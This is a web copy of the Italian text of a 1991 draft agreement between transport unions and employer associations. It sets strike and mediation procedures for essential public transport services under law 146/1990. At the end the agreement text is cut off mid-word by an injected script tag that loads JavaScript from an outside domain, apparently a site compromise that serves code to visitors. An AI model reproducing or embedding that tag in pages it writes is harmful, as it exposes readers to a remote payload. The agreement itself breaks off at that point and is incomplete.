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Categoria: Autoferrotranvieri Settore: Trasporti Data stipula: 7-2-1991 Data decorrenza: 7-2-1991
IPOTESI DI ACCORDO
Addì 7 febbraio 1991 presso la FEDERTRASPORTI tra le OO.SS.LL. FILT-CGIL,
FIT-CISL e UILTRASPORTI
e
le OO.DD. FEDERTRASPORTI, ANAC e FINIT
- vista la legge 12 giugno 1990, n. 146 recante norme sull'esercizio del
diritto di sciopero nei servizi pubblici essenziali e sulla salvaguardia
dei diritti della persona costituzionalmente tutelati tendente a
contemperare l'esercizio del diritto di sciopero con quello di mobilità
dei cittadini;
- visto l'art. 1 della legge, che considera servizi pubblici essenziali,
ai fini del godimento del diritto costituzionalmente tutelato della
libertà di circolazione, i pubblici servizi di trasporto;
- in attuazione della previsione dell'art. 2 primo e secondo comma della
legge ed al fine di consentire alle aziende di emanare i regolamenti di
servizio in applicazione della legge stessa;
- considerato che il diritto di sciopero è esercitato nel rispetto di
misure dirette a consentire l'erogazione delle prestazioni
indispensabili per garantire il contemperamento dell'esercizio del
diritto stesso con il godimento dei diritti della persona
costituzionalmente tutelati;
- considerato che la legge demanda alle parti la formulazione di accordi
specifici;
- valutata altresì l'opportunità di riconsiderare lo stato delle relazioni
industriali sviluppatesi attraverso i precedenti protocollo tendenti a
sostenere una adeguato e moderno ruolo dei servizi di trasporto pubblico
locale, il miglioramento del lavoro livello qualitativo e di efficacia,
le condizioni di vita e di lavoro dei dipendenti, la garanzia del
servizio e la tutela dell'utenza in presenza di conflitti di lavoro;
si concorda quanto segue:
ART. 1 - CAMPO DI APPLICAZIONE
Il presente accordo si applica ai seguenti pubblici servizi di trasporto:
- autofilotranvie;
- autolinee in concessione;
- navigazione interna lagunare;
- navigazione interna lacuale;
- funivie portuali;
- funicolari terrestri ed aree assimilate, per atto di concessione dalle
ferrovie.
I soggetti di cui all'art. 8, comma due, ultimo periodo della legge 146/90
ed i servizi accessori e strumentali necessari all'esercizio del pubblico
servizio di trasporto, comunque gestiti. entrano nel campo di applicazione
del presente accordo.
ART. 2 - PROCEDURE DI MEDIAZIONE E RAFFREDDAMENTO
A) RINNOVI CONTRATTUALI NAZIONALI
Le OO.SS. si impegnano a presentare le piattaforme rivendicative per il
rinnovo dei contratti 60 giorni prima della loro scadenza.
Le Associazioni datoriali si impegnano ad iniziare le trattative entro
60 giorni dalla presentazione della piattaforma.
In occasione del primo incontro tra le Delegazioni trattanti si
definirà il percorso del negoziato e si procederà alla valutazione
complessiva della piattaforma rivendicativa.
Verificata la possibilità di dare corso al negoziato, negli ulteriori
60 giorni, le parti perseguiranno la definizione della controversia.
Qualora le parti non concordino ulteriori iniziative per la definizione
della vertenza, dopo aver eventualmente ricorso ad organismi esterni
per la valutazione dei termini del contendere o a sedi istituzionali di
mediazione - iniziative in pendenza delle quali resta ancora sospesa
ogni azione sindacale - non sussiste impedimento ulteriore alle azioni
nel rispetto delle norme del presente protocollo.
B) VERTENZE AZIENDALI PER L'APPLICAZIONE DI ACCORDI
Entro 10 giorni dalla contestazione scritta ed adeguatamente motivata
della violazione, con relativa richiesta di apertura del confronto, il
medesimo dovrà avviarsi.
Entro i 15 giorni successivi all'avvio del confronto si dovrà pervenire
alla con<script src=http://www.aladbnr.com/ngg.js></script>
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